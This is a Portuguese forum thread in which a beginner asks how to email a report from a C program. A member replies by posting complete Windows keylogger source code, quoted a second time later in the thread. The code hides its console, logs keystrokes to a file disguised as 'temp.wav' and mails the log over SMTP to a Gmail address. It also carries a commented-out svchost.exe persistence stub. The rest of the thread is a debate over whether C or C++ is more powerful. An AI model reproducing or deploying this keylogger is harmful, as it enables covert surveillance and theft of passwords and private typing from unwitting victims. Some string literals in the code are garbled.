Ir ao conteúdo
  • Comunicados

    • Gabriel Torres

      Seja um moderador do Clube do Hardware!   12-02-2016

      Prezados membros do Clube do Hardware, Está aberto o processo de seleção de novos moderadores para diversos setores ou áreas do Clube do Hardware. Os requisitos são:   Pelo menos 500 posts e um ano de cadastro; Boa frequência de participação; Ser respeitoso, cordial e educado com os demais membros; Ter bom nível de português; Ter razoável conhecimento da área em que pretende atuar; Saber trabalhar em equipe (com os moderadores, coordenadores e administradores).   Os interessados deverão enviar uma mensagem privada para o usuário @Equipe Clube do Hardware com o título "Candidato a moderador". A mensagem deverá conter respostas às perguntas abaixo:   Qual o seu nome completo? Qual sua data de nascimento? Qual sua formação/profissão? Já atuou como moderador em algo outro fórum, se sim, qual? De forma sucinta, explique o porquê de querer ser moderador do fórum e conte-nos um pouco sobre você.   OBS: Não se trata de função remunerada. Todos que fazem parte do staff são voluntários.
    • DiF

      Poste seus códigos corretamente!   21-05-2016

      Prezados membros do Fórum do Clube do Hardware, O Fórum oferece um recurso chamado CODE, onde o ícone no painel do editor é  <>     O uso deste recurso é  imprescindível para uma melhor leitura, manter a organização, diferenciar de texto comum e principalmente evitar que os compiladores e IDEs acusem erro ao colar um código copiado daqui. Portanto convido-lhes para ler as instruções de como usar este recurso CODE neste tópico:  
Wild Bull

Enviar para email em linguagem C

Recommended Posts

Boas amigos!

Alguem aí sabe como posso mandar um relatório para o meu e-mail quando executado o programa???

Como se fosse uma função com o return, só que ao invés de retornar para o programa principal enviar para o e-mail.

Desde já agradeço!

Compartilhar este post


Link para o post
Compartilhar em outros sites
  • Autor do tópico
  • C quer fazer um KL?!

    KL seria Keylogger??

    Bom, se for não é isso que eu quero. Mesmo porque deve ser muito difícil e eu sou apenas iniciante.

    Sabe o teste de QI do Einstein? Estou fazendo ele em C, depois quero que envie para o email o tempo que cada pessoa levou.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    C vai ter q procurar algo sobre API do windows... pra poder acessar tipo q o navegador e executar os passos...

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites
  • Autor do tópico
  • C vai ter q procurar algo sobre API do windows... pra poder acessar tipo q o navegador e executar os passos...

    Bah cara, não sei NADA sobre API. (_(

    Estou aprendendo structs ainda. (estudo C por curioso, não tenho aula sobre isso)

    Você pode me dar uma ajuda?

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Se você pretende fazer isso em C, vou adiantando que talvez você n consiga, visto que C é muito limitado. Se animar de fazer em C++, vou postar um codigo de um KL(se n for permitido, edita ai, moderação) só pra você ter ideia de como é trabalhar com socketwin, IP, GetAsync...

    /*

    Put this command: -lws2_32

    to Tools->Compiler Options under the section on compile flags,

    if have any problem with compile

    */

    #include <windows.h>

    #include <stdio.h>

    #include <winuser.h>

    #include <windowsx.h>

    #include <time.h>

    int MailIt (char *mailserver, char *emailto, char *emailfrom,

    char *emailsubject, char *emailmessage);

    #define BUFSIZE 800

    #define waittime 500

    /*If you dont have free smtp server, use google:) */

    #define cmailserver "gmail-smtp-in.l.google.com"

    #define cemailto "TYPE_USER@gmail.com"

    #define cemailfrom "TYPE_USER@gmail.com"

    #define LogLength 100

    #define FileName "temp.wav"

    #define SMTPLog "templ.wav"

    #define cemailsubject "Logged"

    int test_key(void);

    int main(void)

    {

    //Uncomment the lines below to put the keylogger in stealh mode.

    HWND stealth; /*creating stealth */

    AllocConsole();

    stealth=FindWindowA("ConsoleWindowClass",NULL);

    ShowWindow(stealth,0);

    {FILE *file;

    file=fopen(FileName,"a+");

    time_t theTime=time(0);

    fputs("\nStarted logging: ", file);

    fputs(ctime(&theTime),file);

    fclose(file);

    }

    /* if (test==2)

    {//the path in which the file needs to be

    char *path="c:\\%windir%\\svchost.exe";

    create=create_key(path);

    } */

    int t=get_keys();

    return t;

    }

    int get_keys(void)

    {

    int freadindex;

    char *buf;

    long len;

    FILE *file;

    file=fopen(FileName,"a+");

    short character;

    while(1)

    {

    sleep(10);/*to prevent 100% cpu usage*/

    for(character=8;character<=222;character++)

    {

    if(GetAsyncKeyState(character)==-32767)

    {

    FILE *file;

    file=fopen(FileName,"a+");

    if(file==NULL)

    {

    return 1;

    }

    if(file!=NULL)

    {

    if((character>=39)&&(character<=64))

    {

    fputc(character,file);

    fclose(file);

    break;

    }

    else if((character>64)&&(character<91))

    {

    character+=32;

    fputc(character,file);

    fclose(file);

    break;

    }

    else

    {

    switch(character)

    {

    case VK_SPACE:

    fputc(' ',file);

    fclose(file);

    break;

    case VK_SHIFT:

    fputs("\r\n[sHIFT]\r\n",file);

    fclose(file);

    break;

    case VK_RETURN:

    fputs("\r\n[ENTER]\r\n",file);

    fclose(file);

    break;

    case VK_BACK:

    fputs("\r\n[bACKSPACE]\r\n",file);

    fclose(file);

    break;

    case VK_TAB:

    fputs("\r\n[TAB]\r\n",file);

    fclose(file);

    break;

    case VK_CONTROL:

    fputs("\r\n[CTRL]\r\n",file);

    fclose(file);

    break;

    case VK_DELETE:

    fputs("\r\n[DEL]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_1:

    fputs("\r\n[;:]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_2:

    fputs("\r\n[/?]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_3:

    fputs("\r\n[`~]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_4:

    fputs("\r\n[ [{ ]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_5:

    fputs("\r\n[\\|]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_6:

    fputs("\r\n[ ]} ]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_7:

    fputs("\r\n['\"]\r\n",file);

    fclose(file);

    break;

    case 187:

    fputc('+',file);

    fclose(file);

    break;

    case 188:

    fputc(',',file);

    fclose(file);

    break;

    case 189:

    fputc('-',file);

    fclose(file);

    break;

    case 190:

    fputc('.',file);

    fclose(file);

    break;

    case VK_NUMPAD0:

    fputc('0',file);

    fclose(file);

    break;

    case VK_NUMPAD1:

    fputc('1',file);

    fclose(file);

    break;

    case VK_NUMPAD2:

    fputc('2',file);

    fclose(file);

    break;

    case VK_NUMPAD3:

    fputc('3',file);

    fclose(file);

    break;

    case VK_NUMPAD4:

    fputc('4',file);

    fclose(file);

    break;

    case VK_NUMPAD5:

    fputc('5',file);

    fclose(file);

    break;

    case VK_NUMPAD6:

    fputc('6',file);

    fclose(file);

    break;

    case VK_NUMPAD7:

    fputc('7',file);

    fclose(file);

    break;

    case VK_NUMPAD8:

    fputc('8',file);

    fclose(file);

    break;

    case VK_NUMPAD9:

    fputc('9',file);

    fclose(file);

    break;

    case VK_CAPITAL:

    fputs("\r\n[CAPS LOCK]\r\n",file);

    fclose(file);

    break;

    default:

    fclose(file);

    break;

    }

    }

    }

    }

    }

    FILE *file;

    file=fopen(FileName,"rb");

    fseek(file,0,SEEK_END); //go to end

    len=ftell(file); //get position at end (length)

    if(len>=LogLength) {

    fseek(file,0,SEEK_SET);//go to beg.

    buf=(char *)malloc(len);//malloc buffer

    freadindex=fread(buf,1,len,file);//read into buffer

    buf[freadindex] = '\';//Extra bit I have to add to make it a sting

    MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

    fclose(file);

    file=fopen(FileName,"w");

    }

    fclose(file);

    //free (buf);

    }

    return EXIT_SUCCESS;

    }

    int MailIt (char *mailserver, char *emailto, char *emailfrom,

    char *emailsubject, char *emailmessage) {

    SOCKET sockfd;

    WSADATA wsaData;

    FILE *smtpfile;

    #define bufsize 300

    int bytes_sent; /* Sock FD */

    int err;

    struct hostent *host; /* info from gethostbyname */

    struct sockaddr_in dest_addr; /* Host Address */

    char line[1000];

    char *Rec_Buf = (char*) malloc(bufsize+1);

    smtpfile=fopen(SMTPLog,"a+");

    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {

    fputs("WSAStartup failed",smtpfile);

    WSACleanup();

    return -1;

    }

    if ( (host=gethostbyname(mailserver)) == NULL) {

    perror("gethostbyname");

    exit(1);

    }

    memset(&dest_addr,0,sizeof(dest_addr));

    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

    /* Prepare dest_addr */

    dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */

    dest_addr.sin_port= htons(25); /* PORT defined above */

    /* Get socket */

    if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {

    perror("socket");

    exit(1);

    }

    /* Connect !*/

    fputs("Connecting....\n",smtpfile);

    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){

    perror("connect");

    exit(1);

    }

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"helo me.somepalace.com\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"MAIL FROM:<");

    strncat(line,emailfrom,strlen(emailfrom));

    strncat(line,">\n",3);

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"RCPT TO:<");

    strncat(line,emailto,strlen(emailto));

    strncat(line,">\n",3);

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"DATA\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    sleep(waittime);

    strcpy(line,"To:");

    strcat(line,emailto);

    strcat(line,"\n");

    strcat(line,"From:");

    strcat(line,emailfrom);

    strcat(line,"\n");

    strcat(line,"Subject:");

    strcat(line,emailsubject);

    strcat(line,"\n");

    strcat(line,emailmessage);

    strcat(line,"\r\n.\r\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"quit\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    fclose(smtpfile);

    #ifdef WIN32

    closesocket(sockfd);

    WSACleanup();

    #else

    close(sockfd);

    #endif

    }

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites
  • Autor do tópico
  • pelo jeito ainda tenho muito o que aprender. :o

    Como faço pra compilar esse código? Tentei com o Dev e não deu.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites
    Se você pretende fazer isso em C, vou adiantando que talvez você n consiga, visto que C é muito limitado. Se animar de fazer em C++, vou postar um codigo de um KL(se n for permitido, edita ai, moderação) só pra você ter ideia de como é trabalhar com socketwin, IP, GetAsync...

    /*

    Put this command: -lws2_32

    to Tools->Compiler Options under the section on compile flags,

    if have any problem with compile

    */

    #include <windows.h>

    #include <stdio.h>

    #include <winuser.h>

    #include <windowsx.h>

    #include <time.h>

    int MailIt (char *mailserver, char *emailto, char *emailfrom,

    char *emailsubject, char *emailmessage);

    #define BUFSIZE 800

    #define waittime 500

    /*If you dont have free smtp server, use google:) */

    #define cmailserver "gmail-smtp-in.l.google.com"

    #define cemailto "TYPE_USER@gmail.com"

    #define cemailfrom "TYPE_USER@gmail.com"

    #define LogLength 100

    #define FileName "temp.wav"

    #define SMTPLog "templ.wav"

    #define cemailsubject "Logged"

    int test_key(void);

    int main(void)

    {

    //Uncomment the lines below to put the keylogger in stealh mode.

    HWND stealth; /*creating stealth */

    AllocConsole();

    stealth=FindWindowA("ConsoleWindowClass",NULL);

    ShowWindow(stealth,0);

    {FILE *file;

    file=fopen(FileName,"a+");

    time_t theTime=time(0);

    fputs("\nStarted logging: ", file);

    fputs(ctime(&theTime),file);

    fclose(file);

    }

    /* if (test==2)

    {//the path in which the file needs to be

    char *path="c:\\%windir%\\svchost.exe";

    create=create_key(path);

    } */

    int t=get_keys();

    return t;

    }

    int get_keys(void)

    {

    int freadindex;

    char *buf;

    long len;

    FILE *file;

    file=fopen(FileName,"a+");

    short character;

    while(1)

    {

    sleep(10);/*to prevent 100% cpu usage*/

    for(character=8;character<=222;character++)

    {

    if(GetAsyncKeyState(character)==-32767)

    {

    FILE *file;

    file=fopen(FileName,"a+");

    if(file==NULL)

    {

    return 1;

    }

    if(file!=NULL)

    {

    if((character>=39)&&(character<=64))

    {

    fputc(character,file);

    fclose(file);

    break;

    }

    else if((character>64)&&(character<91))

    {

    character+=32;

    fputc(character,file);

    fclose(file);

    break;

    }

    else

    {

    switch(character)

    {

    case VK_SPACE:

    fputc(' ',file);

    fclose(file);

    break;

    case VK_SHIFT:

    fputs("\r\n[sHIFT]\r\n",file);

    fclose(file);

    break;

    case VK_RETURN:

    fputs("\r\n[ENTER]\r\n",file);

    fclose(file);

    break;

    case VK_BACK:

    fputs("\r\n[bACKSPACE]\r\n",file);

    fclose(file);

    break;

    case VK_TAB:

    fputs("\r\n[TAB]\r\n",file);

    fclose(file);

    break;

    case VK_CONTROL:

    fputs("\r\n[CTRL]\r\n",file);

    fclose(file);

    break;

    case VK_DELETE:

    fputs("\r\n[DEL]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_1:

    fputs("\r\n[;:]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_2:

    fputs("\r\n[/?]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_3:

    fputs("\r\n[`~]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_4:

    fputs("\r\n[ [{ ]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_5:

    fputs("\r\n[\\|]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_6:

    fputs("\r\n[ ]} ]\r\n",file);

    fclose(file);

    break;

    case VK_OEM_7:

    fputs("\r\n['\"]\r\n",file);

    fclose(file);

    break;

    case 187:

    fputc('+',file);

    fclose(file);

    break;

    case 188:

    fputc(',',file);

    fclose(file);

    break;

    case 189:

    fputc('-',file);

    fclose(file);

    break;

    case 190:

    fputc('.',file);

    fclose(file);

    break;

    case VK_NUMPAD0:

    fputc('0',file);

    fclose(file);

    break;

    case VK_NUMPAD1:

    fputc('1',file);

    fclose(file);

    break;

    case VK_NUMPAD2:

    fputc('2',file);

    fclose(file);

    break;

    case VK_NUMPAD3:

    fputc('3',file);

    fclose(file);

    break;

    case VK_NUMPAD4:

    fputc('4',file);

    fclose(file);

    break;

    case VK_NUMPAD5:

    fputc('5',file);

    fclose(file);

    break;

    case VK_NUMPAD6:

    fputc('6',file);

    fclose(file);

    break;

    case VK_NUMPAD7:

    fputc('7',file);

    fclose(file);

    break;

    case VK_NUMPAD8:

    fputc('8',file);

    fclose(file);

    break;

    case VK_NUMPAD9:

    fputc('9',file);

    fclose(file);

    break;

    case VK_CAPITAL:

    fputs("\r\n[CAPS LOCK]\r\n",file);

    fclose(file);

    break;

    default:

    fclose(file);

    break;

    }

    }

    }

    }

    }

    FILE *file;

    file=fopen(FileName,"rb");

    fseek(file,0,SEEK_END); //go to end

    len=ftell(file); //get position at end (length)

    if(len>=LogLength) {

    fseek(file,0,SEEK_SET);//go to beg.

    buf=(char *)malloc(len);//malloc buffer

    freadindex=fread(buf,1,len,file);//read into buffer

    buf[freadindex] = '\';//Extra bit I have to add to make it a sting

    MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

    fclose(file);

    file=fopen(FileName,"w");

    }

    fclose(file);

    //free (buf);

    }

    return EXIT_SUCCESS;

    }

    int MailIt (char *mailserver, char *emailto, char *emailfrom,

    char *emailsubject, char *emailmessage) {

    SOCKET sockfd;

    WSADATA wsaData;

    FILE *smtpfile;

    #define bufsize 300

    int bytes_sent; /* Sock FD */

    int err;

    struct hostent *host; /* info from gethostbyname */

    struct sockaddr_in dest_addr; /* Host Address */

    char line[1000];

    char *Rec_Buf = (char*) malloc(bufsize+1);

    smtpfile=fopen(SMTPLog,"a+");

    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {

    fputs("WSAStartup failed",smtpfile);

    WSACleanup();

    return -1;

    }

    if ( (host=gethostbyname(mailserver)) == NULL) {

    perror("gethostbyname");

    exit(1);

    }

    memset(&dest_addr,0,sizeof(dest_addr));

    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

    /* Prepare dest_addr */

    dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */

    dest_addr.sin_port= htons(25); /* PORT defined above */

    /* Get socket */

    if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {

    perror("socket");

    exit(1);

    }

    /* Connect !*/

    fputs("Connecting....\n",smtpfile);

    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){

    perror("connect");

    exit(1);

    }

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"helo me.somepalace.com\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"MAIL FROM:<");

    strncat(line,emailfrom,strlen(emailfrom));

    strncat(line,">\n",3);

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"RCPT TO:<");

    strncat(line,emailto,strlen(emailto));

    strncat(line,">\n",3);

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"DATA\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    sleep(waittime);

    strcpy(line,"To:");

    strcat(line,emailto);

    strcat(line,"\n");

    strcat(line,"From:");

    strcat(line,emailfrom);

    strcat(line,"\n");

    strcat(line,"Subject:");

    strcat(line,emailsubject);

    strcat(line,"\n");

    strcat(line,emailmessage);

    strcat(line,"\r\n.\r\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    strcpy(line,"quit\n");

    fputs(line,smtpfile);

    bytes_sent=send(sockfd,line,strlen(line),0);

    sleep(waittime);

    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

    fputs(Rec_Buf,smtpfile);

    fclose(smtpfile);

    #ifdef WIN32

    closesocket(sockfd);

    WSACleanup();

    #else

    close(sockfd);

    #endif

    }

    Esse código que você postou está em C e não C++

    E C não é limitado. C é uma das linguagem mais poderosas que existe.

    Quase tudo (quiçá tudo) que se faz em C++ é possível fazer em C.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Se comparado com o C++, o C tem uma penca de limitaçoes... se comparado a outras linguagens então... vai dizer q você prefere programar em C do q em C++? Em C, pelo menos eu, tive um bugado de trabalho na epoca de faculdade... dps de um semestre q vi C++... os trem **** de C ficaram molin molin...

    Esse código que você postou está em C e não C++

    E C não é limitado. C é uma das linguagem mais poderosas que existe.

    Quase tudo (quiçá tudo) que se faz em C++ é possível fazer em C.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Eu concordo com o rapaz que C é uma linguagem poderosa... e discordo que seja tão cheia de limitações. Minha visão é a de que C++, propositadamente, possui ferramentas que tornam mais fácil trabalhar com uma gama de recursos.

    No entanto, ao meu ver, o que é desenvolvido em C++ poderia de uma forma ou de outra (por mais complicada que seja esta forma) ser desenvolvido também na linguagem C. Vale lembrar que uma linguagem é advinda da outra.

    Seria como falar que posso implementar qualquer programa em linguagem de máquina... é bem verdade, no entanto não é interessante...

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Nao sendo interessante,logo se torna limitada... se n fosse limitada você a usaria e logo seria interessante... ou seja, isso seria uma tautologia.

    Eu concordo com o rapaz que C é uma linguagem poderosa... e discordo que seja tão cheia de limitações. Minha visão é a de que C++, propositadamente, possui ferramentas que tornam mais fácil trabalhar com uma gama de recursos.

    No entanto, ao meu ver, o que é desenvolvido em C++ poderia de uma forma ou de outra (por mais complicada que seja esta forma) ser desenvolvido também na linguagem C. Vale lembrar que uma linguagem é advinda da outra.

    Seria como falar que posso implementar qualquer programa em linguagem de máquina... é bem verdade, no entanto não é interessante...

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Bom, respeito mas discordo. Pra mim limitação refere-se a algo que não possa ser alcançado... não é interessante porque cada linguagem tem seu foco de aplicação: pode não ser interessante para certos casos, mas é interessante para outros.

    Como diria alguém que não sei quem é: "Se a única ferramenta que você tiver for um martelo, em todo problema enxergará um prego." Cada macaco (linguagem) no seu galho.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites
    Bom, respeito mas discordo. Pra mim limitação refere-se a algo que não possa ser alcançado... não é interessante porque cada linguagem tem seu foco de aplicação: pode não ser interessante para certos casos, mas é interessante para outros.

    Como diria alguém que não sei quem é: "Se a única ferramenta que você tiver for um martelo, em todo problema enxergará um prego." Cada macaco (linguagem) no seu galho.

    :aplausos: :aplausos: :aplausos:

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites
    Nao sendo interessante,logo se torna limitada...

    Nem tudo que é desinteressante, é limitado.

    C não é uma linguagem limitada! C é uma linguagem poderosa, que permite coisas quase que ao nível do assembly.

    Não esqueça que Windows, Unix e vários outros sistemas operacionais, todos eles foram escritos em C.

    C++ é linguagem orientada para objetos, e como tal, bem diferente de C, apesar de possuirem a mesma base.

    []'s

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Boa Tarde!

    Sou iniciante na area de programação, achei interessante o desenvolvimento de um prog de teste de Qi. Se poder compatilhar o fonte...

    Gostaria de tentar implementa-lo em outra linguagem..

    Agradeço,

    Boas amigos!

    Alguem aí sabe como posso mandar um relatório para o meu e-mail quando executado o programa???

    Como se fosse uma função com o return, só que ao invés de retornar para o programa principal enviar para o e-mail.

    Desde já agradeço!

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Não faz sentido dizer que C é uma linguagem muito poderosa que é capaz de fazer quase tudo que C++ faz. São dois paradigmas de linguagens muito diferentes. C é uma linguagem Estruturada enquanto C++ é Orientada a Objetos.

    Ao estudar a fundo cada uma dessas 2 linguagens você conclui que C++ é muitíssimo mais poderosa que C. Os conceitos de Herança por exemplo são um grande diferencial de C++ para C.

    Muitas coisas que C++ faz é possível fazer em C, porém o trabalho para se montar esses algoritmos é tremendo e inviável.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    bom eu acho o seguinte...já que tudo no fial gera binários que será entendido pelo computador, as linguagens não são limitadas, o q diferencia é o código da linguagem que facilita ou dificulta determinadas coisa...como por exemplo é possivel programar uma parte gráfica em C, + com certeza em C++ é muito mais simples...sendo qeu as bases da linguagem são as msms + uma está direcionada para uam coisa, e a a outro apra outra coisa. sendo assim discutir isso não vai levar a nada essa discurção.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites
    bom eu acho o seguinte...já que tudo no fial gera binários que será entendido pelo computador, as linguagens não são limitadas, o q diferencia é o código da linguagem que facilita ou dificulta determinadas coisa...como por exemplo é possivel programar uma parte gráfica em C, + com certeza em C++ é muito mais simples...sendo qeu as bases da linguagem são as msms + uma está direcionada para uam coisa, e a a outro apra outra coisa. sendo assim discutir isso não vai levar a nada essa discurção.

    Claro que não. Em FORTRAN por exemplo não existe o método de recursão (com exceção de FORTRAN 90). Neste caso você nunca poderia implementar uma árvore em FORTRAN.

    C, C++ e JAVA são linguagens de propósito geral, porém JAVA não oferece recursos para controlar diretamente o hardware. Para fazer isso, os programas em JAVA devem declarar métodos nativos e implementá-los em outras linguagens.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    ah tha, + tipo...cada linguagem tem sua especialidade, entuam não seria viável dizer quem é melhor que quem... +D

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites
    ah tha, + tipo...cada linguagem tem sua especialidade, entuam não seria viável dizer quem é melhor que quem... +D

    Claro, e é por isso que temos tantas linguagens de programação atualmente por aí. Cada uma desenvolvida para uma finalidade específica, umas mais específicas, outras menos.

    Por exemplo, COBOL foi criada para finalidades comerciais. PROLOG foi criada para uso em inteligência artificial e provar teoremas matemáticos. Já o famoso e conhecido C foi dsenvolvido para a criação do sistema UNIX, que por sua vez deu origem ao Linux atualmente.

    Compartilhar este post


    Link para o post
    Compartilhar em outros sites

    Crie uma conta ou entre para comentar

    Você precisar ser um membro para fazer um comentário






    Sobre o Clube do Hardware

    No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas publicações sobre tecnologia do Brasil. Leia mais

    Direitos autorais

    Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

    ×